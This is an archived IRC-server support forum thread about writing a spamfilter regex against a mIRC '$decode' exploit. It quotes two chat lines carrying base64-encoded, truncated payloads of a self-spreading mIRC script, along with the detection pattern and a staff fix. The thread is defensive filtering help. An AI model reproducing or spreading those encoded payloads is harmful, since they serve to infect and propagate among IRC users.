$decode

These are old archives. They are kept for historic purposes only.
Post Reply
nokiatranny
Posts: 5
Joined: Tue Jan 20, 2009 4:41 pm

$decode

Post by nokiatranny »

Hello, i added spamfilter on Unreal3.2.7:

F cpnNuat kill 0 691504 86400 Possible_mIRC_Decode_Exploit oper!oper@oper $decode\(.+\)

But it's doesnt work...

<shiftinjsh> //write   $decode(JGRlY29kZShiMjRnTVRwMFpYaDBPaXBoS2pvak9uc2dMbWxuYm05eVpTQWtibWxqYXlCOElDNTBhVzFsY3FBZ01DQXhNakFnTG1wdmFXNGdmQ0F1YlhObklDUnVhV05ySUVSdklGbHZkU0JYWVc1MElIUnZJR0psSUdGdUlFOVFSVkpCVkU5U0lHbHVJQ1JqYUdGdUlEOGdZMjl3ZVM5d1lYTjBaU0IwYUdsekxUNERNVFFnTHk5M2NtbDBaU0NnSUNRZ0pDc2daR1ZqYjJSbEtDQWtLeUFrWlc1amIyUmxLQ1J5WldGa0tDUnpZM0pwY0hRc2Jpd3hLU3h0S1NBa0t5QXNiU2tnSkdOb2NpZ3hNalFwSUM1c2IyRmtJQ
<Gar1k_> $decode(JGRlY29kZShiMjRnTVRwMFpYaDBPaXBoS2pvak9uc2dMbWxuYm05eVpTQWtibWxqYXlCOElDNTBhVzFsY3FBZ01DQXhNakFnTG1wdmFXNGdmQ0F1YlhObklDUnVhV05ySUVSdklGbHZkU0JYWVc1MElIUnZJR0psSUdGdUlFOVFSVkpCVkU5U0lHbHVJQ1JqYUdGdUlEOGdZMjl3ZVM5d1lYTjBaU0IwYUdsekxUNERNVFFnTHk5M2NtbDBaU0NnSUNRZ0pDc2daR1ZqYjJSbEtDQWtLeUFrWlc1amIyUmxLQ1J5WldGa0tDUnpZM0pwY0hRc2Jpd3hLU3h0S1NBa0t5QXNiU2tnSkdOb2NpZ3hNalFwSUM1c2IyRmtJQzF5Y

and other..
Stealth
Head of Support
Posts: 2086
Joined: Tue Jun 15, 2004 8:50 pm
Location: Chino Hills, CA, US
Contact:

Re: $decode

Post by Stealth »

$ is a matching character in regex. It means "end of string", so your regex pretty much would be impossible to match. You want

Code: Select all

\$decode\(.+\)
Stealth
Head of Support
Posts: 2086
Joined: Tue Jun 15, 2004 8:50 pm
Location: Chino Hills, CA, US
Contact:

Re: $decode

Post by Stealth »

You might also want to use the action viruschan rather than kill. If a user is too dumb to type that, they probably don't know they're infected. Forcing them to a help channel you can instruct them on removal of the script, or kill or gline them as necessary.
Post Reply